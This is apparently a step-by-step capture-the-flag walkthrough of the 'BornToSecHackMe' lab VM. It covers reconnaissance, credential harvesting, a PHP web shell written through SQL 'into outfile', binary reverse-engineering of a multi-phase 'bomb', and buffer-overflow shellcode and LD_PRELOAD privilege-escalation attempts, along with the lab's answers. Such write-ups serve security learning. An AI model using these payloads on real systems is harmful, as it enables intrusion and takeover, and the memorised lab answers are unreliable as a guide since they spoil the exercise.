$ ifconfig
nmap - Network exploration tool and security / port scanner
$ nmap -sP 192.168.56.0/24
$ ping 192.168.56.103
$ nmap -sV 192.168.56.103
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd 2.2.22
993/tcp open ssl/imap Dovecot imapd
$ nikto -h http://192.168.56.103
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.56.103
+ Target Hostname: 192.168.56.103
+ Target Port: 80
+ Start Time: 2024-08-09 13:46:42 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags, header found with file /, inode: 13650, size: 1025, mtime: Wed Oct 7 19:37:54 2015. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8909 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2024-08-09 13:47:02 (GMT-4) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
$ dirb http://192.168.56.103
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Aug 9 13:50:48 2024
URL_BASE: http://192.168.56.103/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.103/ ----
+ http://192.168.56.103/cgi-bin/ (CODE:403|SIZE:290)
==> DIRECTORY: http://192.168.56.103/fonts/
+ http://192.168.56.103/forum (CODE:403|SIZE:287)
+ http://192.168.56.103/index.html (CODE:200|SIZE:1025)
+ http://192.168.56.103/server-status (CODE:403|SIZE:295)
---- Entering directory: http://192.168.56.103/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Fri Aug 9 13:50:52 2024
DOWNLOADED: 4612 - FOUND: 4
I assumed the server would be running on http but nothing substantial came out of this search so I was mistaken.
dirb https://192.168.56.103/ -o dirb.txt
Too many results, it will be hard to effectively go through it all but I will save them in a seperate file just in case.
$ dirb https://192.168.56.103/ -r
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Aug 12 04:35:41 2024
URL_BASE: https://192.168.56.103/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://192.168.56.103/ ----
+ https://192.168.56.103/cgi-bin/ (CODE:403|SIZE:291)
==> DIRECTORY: https://192.168.56.103/forum/
==> DIRECTORY: https://192.168.56.103/phpmyadmin/
+ https://192.168.56.103/server-status (CODE:403|SIZE:296)
==> DIRECTORY: https://192.168.56.103/webmail/
-----------------
END_TIME: Mon Aug 12 04:35:45 2024
DOWNLOADED: 4612 - FOUND: 2
With the non-recursive option dirb will just list the first level directories of the main URL that was specified in the command. We don't have the permission to access 2 of these directories as indicated by the 403 status code. But we have these 3 directories ready for inspection:
- /forum
- /phpmyadmin
- /webmail
dirb https://192.168.56.103/forum
---- Scanning URL: https://192.168.56.103/forum/ ----
+ https://192.168.56.103/forum/backup (CODE:403|SIZE:295)
+ https://192.168.56.103/forum/config (CODE:403|SIZE:295)
==> DIRECTORY: https://192.168.56.103/forum/images/
==> DIRECTORY: https://192.168.56.103/forum/includes/
+ https://192.168.56.103/forum/index (CODE:200|SIZE:4935)
+ https://192.168.56.103/forum/index.php (CODE:200|SIZE:4935)
==> DIRECTORY: https://192.168.56.103/forum/js/
==> DIRECTORY: https://192.168.56.103/forum/lang/
==> DIRECTORY: https://192.168.56.103/forum/modules/
==> DIRECTORY: https://192.168.56.103/forum/templates_c/
==> DIRECTORY: https://192.168.56.103/forum/themes/
==> DIRECTORY: https://192.168.56.103/forum/update/
Oct 5 08:45:29 BornToSecHackMe sshd[7547]: Failed password for invalid user !q\]Ej?*5K5cy*AJ from 161.202.39.38 port 57764 ssh2
Username: lmezard
Password: !q\]Ej?*5K5cy*AJ
dirb https://192.168.56.103/webmail
+ https://192.168.56.103/webmail/class (CODE:403|SIZE:296)
==> DIRECTORY: https://192.168.56.103/webmail/config/
+ https://192.168.56.103/webmail/functions (CODE:403|SIZE:300)
+ https://192.168.56.103/webmail/help (CODE:403|SIZE:295)
==> DIRECTORY: https://192.168.56.103/webmail/images/
+ https://192.168.56.103/webmail/include (CODE:403|SIZE:298)
+ https://192.168.56.103/webmail/index.php (CODE:302|SIZE:0)
+ https://192.168.56.103/webmail/locale (CODE:403|SIZE:297)
==> DIRECTORY: https://192.168.56.103/webmail/plugins/
==> DIRECTORY: https://192.168.56.103/webmail/src/
==> DIRECTORY: https://192.168.56.103/webmail/themes/
We can login with the previous credentials.
Subject: DB Access
From: [email protected]
Date: Thu, October 8, 2015 11:25 pm
To: [email protected]
Priority: Normal
Options: View Full Header | View Printable Version | Download this as a file
Hey Laurie,
You cant connect to the databases now. Use root/Fg-'kKXBj87E:aJ$
Best regards.
+ https://192.168.56.103/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
+ https://192.168.56.103/phpmyadmin/index.php (CODE:200|SIZE:7540)
==> DIRECTORY: https://192.168.56.103/phpmyadmin/js/
+ https://192.168.56.103/phpmyadmin/libraries (CODE:403|SIZE:303)
==> DIRECTORY: https://192.168.56.103/phpmyadmin/locale/
+ https://192.168.56.103/phpmyadmin/phpinfo.php (CODE:200|SIZE:7540)
+ https://192.168.56.103/phpmyadmin/setup (CODE:401|SIZE:482)
==> DIRECTORY: https://192.168.56.103/phpmyadmin/themes/
MySQL
Server: Localhost via UNIX socket
Server version: 5.5.44-0ubuntu0.12.04.1
Protocol version: 10
User: root@localhost
MySQL charset: UTF-8 Unicode (utf8)
Web server
Apache/2.2.22 (Ubuntu)
MySQL client version: 5.5.44
PHP extension: mysqli
phpMyAdmin
Version information: 3.4.10.1deb1
ed0fd64f25f3bd3a54f8d272ba93b6e76ce7f3d0516d551c28
So, we were able to get the password hash for the admin. But I was unable to crack the hash. The old friends john
or crackstation
couldn't help. It would have been useful if we knew more about the type of hashing algorithm used.
Let's see if we can figure it out.
We see that the forum is powered by mylittleforum which is a simple PHP and MySQL based internet forum that displays the messages in classical threaded view (tree structure). It is Open Source licensed under the GNU General Public License.
We can navigate to the source code from here:
function generate_pw_hash($pw) {
$salt = random_string(10, '0123456789abcdef');
$salted_hash = sha1($pw.$salt);
$hash_with_salt = $salted_hash.$salt;
return $hash_with_salt;
}
The hash is composed of a salted SHA-1 hash. In the light of this information I was still unable to crack the admin's password hash. So I decided to just generate my own hash. Here is a simple script:
<?php
function generate_pw_hash($pw) {
$salt = '5f4dcc3b5d'; // 10 random chars for salt
$salted_hash = sha1($pw . $salt);
$hash_with_salt = $salted_hash . $salt;
return $hash_with_salt;
}
$password = '123';
$new_hash = generate_pw_hash($password);
echo $new_hash;
?>
$ php ./generate_hash.php
outputs 15f32d5a4abd9ae09034e5b2b4e6e29e8b8592525f4dcc3b5d
After replacing this with the admin's user_pw we will be able to login to the account with the password 123
We are in. However this was absolutely useless. I changed various forum settings like enabling all users to upload images and attempted to inject a payload via image upload. It didn't work.
Some links if you want to try it out yourself:
https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/
https://infosecwriteups.com/bypassed-and-uploaded-a-sweet-reverse-shell-d15e1bbf5836
Very very sad.
This was the payload I was working with <?php system($_GET[‘c’]);?>
.
system — Execute an external program and display the output
$_GET — An associative array of variables passed to the current script via the URL parameters (aka. query string).
Our goal will be to upload this to the victim site and execute something along the lines of example.com/upload/test.php?c=whoami
We have root access to the database and we can run SQL queries on the server. The plan is to upload a webshell in the webroot, see.
The default document root for Apache is /var/www/ (before Ubuntu 14.04) or /var/www/html/ (Ubuntu 14.04 and later)
We can use the into outfile
command to write the output of the query into a file at the specified location on the server. Neat tutorial that I will be following.
Going back to our dirb results, I one by one tried every subdirectory that returned status code 200. forum/templates_c
turned out to be the only one where we have write right.
select 1, '<?php system($_GET["c"]); ?>' into outfile '/var/www/forum/templates_c/cmd.php'
Now if we visit https://192.168.56.103/forum/templates_c/cmd.php
We can see that our file exists and is returning the output for select 1
Now let's try supplying a system command as a parameter: https://192.168.56.103/forum/templates_c/cmd.php?c=whoami
We get the results of both select 1 query and the whoami command seperated into different columns. It appears that the current user is www-data
The web server has to be run under a specific user.
If it were run under root, then all the files would have to be accessible by root and the user would need to be root to access the files. With root being the owner, a compromised web server would have access to your entire system.
By default the configuration of the owner is www-data in the Ubuntu configuration of Apache2.
Supplying all these commands via URL parameter is tedious and it would be nice to get reverse shell with Netcat at this point but it doesn't seem to work. I will keep supplying the commands via the URL for now and will come back to it later.
https://192.168.56.103/forum/templates_c/cmd.php?c=find%20/%20-user%20www-data%202%3E/dev/null
Interesting
https://192.168.56.103/forum/templates_c/cmd.php?c=ls%20/home
We only have access to the LOOKATME directory
https://192.168.56.103/forum/templates_c/cmd.php?c=cat%20/home/LOOKATME/password
We get another set of credentials for the user lmezard: lmezard:G!@M6f4Eatau{sF"
We already have lmezard's account for SquirrelMail and the forum. Attempting to login to phpMyAdmin was no use either(Which was expected as it was mentioned in the mails that lmezard should be using the root account from now on).
Well, ssh port is open
$ ssh [email protected]
:(
So is ftp,
$ ftp 192.168.56.103
Great, let's look around:
$ cat README
Complete this little challenge and use the result as password for user 'laurie' to login in ssh
$ open fun
There are 750 .pcap files and wireshark is unable to open them. When we read the contents we see text that is not expected from a pcap file.
$ cat * | less
$ cat * | grep printf
$ ls | sort > files
$ count=1; for file in
cat files; do mv "$file" "file${count}"; count=$((count + 1)); done
_______wnage
$ for file in *; do
number=$(grep -oP '^//file\K\d+' "$file" | head -n 1)
[ -n "$number" ] && [ ! -e "$number" ] && mv "$file" "$number"
done
$ cat * | grep return
Iheartpwnage
$ echo -n Iheartpwnage > pass
Make sure to add the -n option to not include the traililng newline or your hash will be wrong.
$ sha256sum pass
330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4
Let's look around,
Diffuse this bomb!
When you have all the password use it as "thor" user with ssh.
HINT:
P
2
b
o
4
NO SPACE IN THE PASSWORD (password is case sensitive).
Running the program results in another message to be printed:
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
We need to find the right keyword. After testing with various input values I download the program into my machine to examine it further.
$ scp [email protected]:~/bomb .
First, I would like to try calling strings
to see if I can simply find the password among the printable characters in the executable.
$ strings bomb
I note down the words that look promising:
Public speaking is very easy.
%d %c %d
giants
Wow! You've defused the secret stage!
nobody
defused
exploded
bomb-header:%s:%d:%s:%s:%d
bomb-string:%s:%d:%s:%d:%s
bomb
/usr/sbin/sendmail -bm
%s %s@%s
austinpowers
Curses, you've found the secret phase!
But finding it and solving it are quite different...
Congratulations! You've defused the bomb!
For the stage one Public speaking is very easy.
works!
Unfortunately "giant" or "austinpowers" do not work for the next stage and I can't find anything else among the strings. We will need to go a step further.
I disassemble the binary: $ objdump bomb > bomb.asm
We can see the assembly code for various functions.
08048b48 <phase_2>:
8048b48: 55 push %ebp
8048b49: 89 e5 mov %esp,%ebp
8048b4b: 83 ec 20 sub $0x20,%esp
8048b4e: 56 push %esi
8048b4f: 53 push %ebx
8048b50: 8b 55 08 mov 0x8(%ebp),%edx
8048b53: 83 c4 f8 add $0xfffffff8,%esp
8048b56: 8d 45 e8 lea -0x18(%ebp),%eax
8048b59: 50 push %eax
8048b5a: 52 push %edx
8048b5b: e8 78 04 00 00 call 8048fd8 <read_six_numbers>
8048b60: 83 c4 10 add $0x10,%esp
8048b63: 83 7d e8 01 cmpl $0x1,-0x18(%ebp)
8048b67: 74 05 je 8048b6e <phase_2+0x26>
8048b69: e8 8e 09 00 00 call 80494fc <explode_bomb>
8048b6e: bb 01 00 00 00 mov $0x1,%ebx
8048b73: 8d 75 e8 lea -0x18(%ebp),%esi
8048b76: 8d 43 01 lea 0x1(%ebx),%eax
8048b79: 0f af 44 9e fc imul -0x4(%esi,%ebx,4),%eax
8048b7e: 39 04 9e cmp %eax,(%esi,%ebx,4)
8048b81: 74 05 je 8048b88 <phase_2+0x40>
8048b83: e8 74 09 00 00 call 80494fc <explode_bomb>
8048b88: 43 inc %ebx
8048b89: 83 fb 05 cmp $0x5,%ebx
8048b8c: 7e e8 jle 8048b76 <phase_2+0x2e>
8048b8e: 8d 65 d8 lea -0x28(%ebp),%esp
8048b91: 5b pop %ebx
8048b92: 5e pop %esi
8048b93: 89 ec mov %ebp,%esp
8048b95: 5d pop %ebp
8048b96: c3 ret
8048b97: 90 nop
08048fd8 <read_six_numbers>:
8048fd8: 55 push %ebp
8048fd9: 89 e5 mov %esp,%ebp
8048fdb: 83 ec 08 sub $0x8,%esp
8048fde: 8b 4d 08 mov 0x8(%ebp),%ecx
8048fe1: 8b 55 0c mov 0xc(%ebp),%edx
8048fe4: 8d 42 14 lea 0x14(%edx),%eax
8048fe7: 50 push %eax
8048fe8: 8d 42 10 lea 0x10(%edx),%eax
8048feb: 50 push %eax
8048fec: 8d 42 0c lea 0xc(%edx),%eax
8048fef: 50 push %eax
8048ff0: 8d 42 08 lea 0x8(%edx),%eax
8048ff3: 50 push %eax
8048ff4: 8d 42 04 lea 0x4(%edx),%eax
8048ff7: 50 push %eax
8048ff8: 52 push %edx
8048ff9: 68 1b 9b 04 08 push $0x8049b1b
8048ffe: 51 push %ecx
8048fff: e8 5c f8 ff ff call 8048860 <sscanf@plt>
8049004: 83 c4 20 add $0x20,%esp
8049007: 83 f8 05 cmp $0x5,%eax
804900a: 7f 05 jg 8049011 <read_six_numbers+0x39>
804900c: e8 eb 04 00 00 call 80494fc <explode_bomb>
8049011: 89 ec mov %ebp,%esp
8049013: 5d pop %ebp
8049014: c3 ret
8049015: 8d 76 00 lea 0x0(%esi),%esi
I essentialy used CodeCovnert to convert Assembly into C. It was useful to get the overall idea of the code. But this tool is an AI language model so it was not 100% accurate and I wasn't able to determine the right password this way.
So I opted for using IDA Freeware 8.4
After dragging the bomb binary into the program you are greeted with this beautiful interface.
Let's select the Phase_2 function
Then we can click on F5
to generate pseudocode.
int __cdecl phase_2(int a1)
{
int i; // ebx
int result; // eax
int v3[6]; // [esp+10h] [ebp-18h] BYREF
read_six_numbers(a1, v3);
if ( v3[0] != 1 )
explode_bomb();
for ( i = 1; i <= 5; ++i )
{
result = v3[i - 1] * (i + 1);
if ( v3[i] != result )
result = explode_bomb();
}
return result;
}
We now know what kind of an input the program is expecting. We require 6 numbers that follows a certain pattern.
[0] = 1
[1] = 1 * 2 = 2
[2] = 2 * 3 = 6
[3] = 6 * 4 = 24
[4] = 24 * 5 = 120
[5] = 120 * 6 = 720
The password for the phase 2 is 1 2 6 24 120 720
Cool, time for the next phase.
int __cdecl phase_3(int a1)
{
int result; // eax
char v2; // bl
int v3; // [esp+Ch] [ebp-Ch] BYREF
char v4; // [esp+13h] [ebp-5h] BYREF
int v5; // [esp+14h] [ebp-4h] BYREF
if ( sscanf(a1, "%d %c %d", &v3, &v4, &v5) <= 2 )
explode_bomb();
result = v3;
switch ( v3 )
{
case 0:
v2 = 113;
if ( v5 != 777 )
goto LABEL_19;
break;
case 1:
v2 = 98;
if ( v5 != 214 )
goto LABEL_19;
break;
case 2:
v2 = 98;
if ( v5 != 755 )
goto LABEL_19;
break;
case 3:
v2 = 107;
if ( v5 != 251 )
goto LABEL_19;
break;
case 4:
v2 = 111;
if ( v5 != 160 )
goto LABEL_19;
break;
case 5:
v2 = 116;
if ( v5 != 458 )
goto LABEL_19;
break;
case 6:
v2 = 118;
if ( v5 != 780 )
goto LABEL_19;
break;
case 7:
v2 = 98;
if ( v5 != 524 )
LABEL_19:
result = explode_bomb();
break;
default:
v2 = 120;
result = explode_bomb();
break;
}
if ( v2 != v4 )
return explode_bomb();
return result;
}
We need to enter a number, a character and then another number. Based on the first number entered there are several different cases.
I went for case 0 so, v3 = 0 and v2 = 113 then v5 = 777 (otherwise we are rediretced to case LABEL_19 which is an automatic explosion), finally the last if statement checks wheter v2 is equal to v4 or not. Then, v4 = 113 (q in ascii table)
Final input becomes: 0 q 777
Time for the next phase.
int __cdecl phase_4(int a1)
{
int result; // eax
int v2; // [esp+14h] [ebp-4h] BYREF
if ( sscanf(a1, "%d", &v2) != 1 || v2 <= 0 )
explode_bomb();
result = func4(v2);
if ( result != 55 )
return explode_bomb();
return result;
}
int __cdecl func4(int a1)
{
int v1; // esi
if ( a1 <= 1 )
return 1;
v1 = func4(a1 - 1);
return v1 + func4(a1 - 2);
}
This seems to be a fibonacci sequence: 1, 2, 3, 5, 8, 13, 21, 34, 55
9
th element gives us the target number.
Phase 5,
int __cdecl phase_5(int a1)
{
int i; // edx
int result; // eax
char v3[8]; // [esp+10h] [ebp-8h] BYREF
if ( string_length(a1) != 6 )
explode_bomb();
for ( i = 0; i <= 5; ++i )
v3[i] = array_123[*(_BYTE *)(i + a1) & 0xF];
v3[6] = 0;
result = strings_not_equal(v3, "giants");
if ( result )
return explode_bomb();
return result;
}
Hey, "giants" makes another appearance! The result should be equal to giants but a set of operations is performed on the string we pass and mess it up.
array_123 = {i s r v e a w h o b p n u t f g}
Every letter in our string gets remapped into one of the letters in array_123 via an AND operation.
We can write a small script to figure out how it works
#include <stdio.h>
int main()
{
char array_123[] = "isrveawhobpnutfg";
for (int i = 0; i < 26; i++)
{
printf("%c:%c ", 97 + i, array_123[(97 + i) & 0xf]);
}
}
Here is the result: a:s b:r c:v d:e **e:a** f:w g:h h:o i:b j:p **k:n** l:u **m:t** n:f **o:g** **p:i** **q:s** r:r s:v t:e u:a v:w w:h x:o y:b z:p
So in order to get giants our input should be: opekmq
Hurray!
Last phase,
int __cdecl phase_6(int a1)
{
int i; // edi
int j; // ebx
int v3; // edi
_DWORD *v4; // ecx
_DWORD *v5; // esi
int k; // ebx
int v7; // esi
int m; // edi
int v9; // eax
int v10; // esi
int n; // edi
int result; // eax
int v13; // [esp+24h] [ebp-34h]
int v14[6]; // [esp+28h] [ebp-30h]
_DWORD v15[6]; // [esp+40h] [ebp-18h] BYREF
read_six_numbers(a1, v15);
for ( i = 0; i <= 5; ++i )
{
if ( (unsigned int)(v15[i] - 1) > 5 )
((void (*)(void))explode_bomb)();
for ( j = i + 1; j <= 5; ++j )
{
if ( v15[i] == v15[j] )
((void (*)(void))explode_bomb)();
}
}
v3 = 0;
v4 = v15;
do
{
v5 = &node1;
for ( k = 1; k < v15[v3]; ++k )
v5 = (_DWORD *)v5[2];
v14[v3++] = (int)v5;
}
while ( v3 <= 5 );
v7 = v14[0];
v13 = v14[0];
for ( m = 1; m <= 5; ++m )
{
v9 = v14[m];
*(_DWORD *)(v7 + 8) = v9;
v7 = v9;
}
*(_DWORD *)(v9 + 8) = 0;
v10 = v13;
for ( n = 0; n <= 4; ++n )
{
result = *(_DWORD *)v10;
if ( *(_DWORD *)v10 < **(_DWORD **)(v10 + 8) )
result = explode_bomb(v4);
v10 = *(_DWORD *)(v10 + 8);
}
return result;
}
So this function takes 6 numbers as input. If any of those numbers is larger than 5 we explode, if any of them are equal to each other we explode.
Now let's see what these nodes are supposed to be.
They are double word values so we will interpert them as 16 bit integers thus,
node6=1B0=432
node5=D4=212
node4=3E5=997
node3=12D=301
node2=2D5=725
node1=FD=253
Each number in our array is turned into pointers to these. A linked list is formed.
The final list needs to be in descending order or we explode.
Then the final value should be 4 2 6 3 1 5
We have defused the bomb! We can login as thor with ssh now.
$ ssh [email protected]
Password: Publicspeakingisveryeasy.126241207201b2149opekmq426315
Apparently this does not work. I might be overlooking something or there might be an error in the exercise. In any case, the only accepted password is Publicspeakingisveryeasy.126241207201b2149opekmq426135
This issue was discussed in the 42 Network forums before.
Anyways time to check out thor's home directory.
$ cat turtle
gives us more than a thousand lines of directions.
I will sort the unique lines to make it easier to comprehend what's going on: $ cat turtle | sort -u
Avance 100 spaces
Avance 120 spaces
Avance 1 spaces
Avance 200 spaces
Avance 210 spaces
Avance 50 spaces
Can you digest the message? :)
Recule 100 spaces
Recule 200 spaces
Recule 210 spaces
Tourne droite de 10 degrees
Tourne droite de 120 degrees
Tourne droite de 150 degrees
Tourne droite de 1 degrees
Tourne droite de 90 degrees
Tourne gauche de 1 degrees
Tourne gauche de 90 degrees
google translate ~
Move forward 100 spaces
Move forward 120 spaces
Move forward 1 space
Move forward 200 spaces
Move forward 210 spaces
Move forward 50 spaces
Can you digest the message? :)
Move back 100 spaces
Move back 200 spaces
Move back 210 spaces
Turn right 10 degrees
Turn right 120 degrees
Turn right 150 degrees
Turn right 1 degree
Turn right 90 degrees
Turn left 1 degree
Turn left 90 degrees
Appearantly turtle is a somewhat famous python module.
Here is a little example of its usage.
A cute little turtle draws stuff for us.
fd()
function to move forward.
fd(-number)
to move backwards
lt()
to turn left
rt()
to turn right`
”turtle” comes packed with the standard Python package and need not be installed externally. With the help of a quick tutorial we can write a python program that will read the given file and draw the message for us.
import turtle
from turtle import fd, lt, rt
window = turtle.Screen()
turtle.shape("turtle")
t = turtle.Turtle()
file = open("turtle")
def move_turtle(direction, line):
match direction:
case "Avance":
fd(int(line[1]))
return ;
case "Recule":
fd(-int(line[1]))
return ;
case "Tourne":
if (line[1] == "droite"):
rt(int(line[3]))
else:
lt(int(line[3]))
return ;
case default:
return ;
for line in file:
l = line.split()
if (l):
move_turtle(l[0], l)
turtle.done()
Make sure to not name this program turtle.py and waste your time trying to figure out what's wrong like me.
$ echo -n SLASH > slash
Can you digest the message? Is a reference to the MD5 (message-digest algorithm) hashing alghoritm.
$ md5sum slash
646da671ca01bb5d84dbb5fb2238dc8e
We have a directory called mail and an exe called exploit_me. exploit me belongs to root and has SUID bit set.
The files in the mail directory are all empty.
If the destination string of a strcpy() is not large enough, then anything might happen. Overflowing fixed-length string buffers is a favorite cracker technique for taking complete control of the machine.
Program uses strcpy, which doesn't check the length of the input, we might be able to overflow the buffer and overwrite the return address on the stack.
$ ./exploit_me $(python -c 'print "A" * 1000')
0xbffff5d0
0xb7e40041
The goal is to overwrite EIP with a new address that points to our shell code. This shell code will execute /bin/sh which will give us a root shell since this binary has SUID bit set.see
eip at 0xbffff6d0
(gdb) p/d 0xbffff6d0 - 0xbffff660
Buffer size = 112
./exploit_me $(python -c "print('\x41' * 112 + '\xd4\xf6\xff\xbf' + '\x90' * 100 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68//tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')")
Does not work
$ dmesg | grep 'Execute Disable'
the NX (No-eXecute) bit is enabled. With NX protection enabled, the stack cannot be executed. Even if you successfully overwrite the return address with a location on the stack, the shellcode placed there will not execute. :'D
Can we like write our own stdio.h?
Of course we don't have write access to the actual library
However exploit_me is a dynamically linked executable, so the necessary libraries are linked at runtime.
So perhaps we can use LD_PRELOAD
to do a Dynamic Library Injection?
First let's write our own definition for one of the functions the program calls.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
int puts(const char *str) {
system("sh");
return 0;
}
Compile it into a shared library
gcc -shared -fPIC -o my_puts.so my_puts.c
Run the program with our library preloaded to override the puts function
LD_PRELOAD=./my_puts.so ./my_program
Unfortunately the LD_PRELOAD variable is ignored with setuid.
https://www.exploit-db.com/papers/13147
https://web.ecs.syr.edu/~wedu/seed/Book/book_sample_buffer.pdf
https://www.cs.usfca.edu/~ejung/courses/683/lectures/buffer.pdf
https://defendtheweb.net/article/buffer-overflow-to-run-root-shell-full-tutorial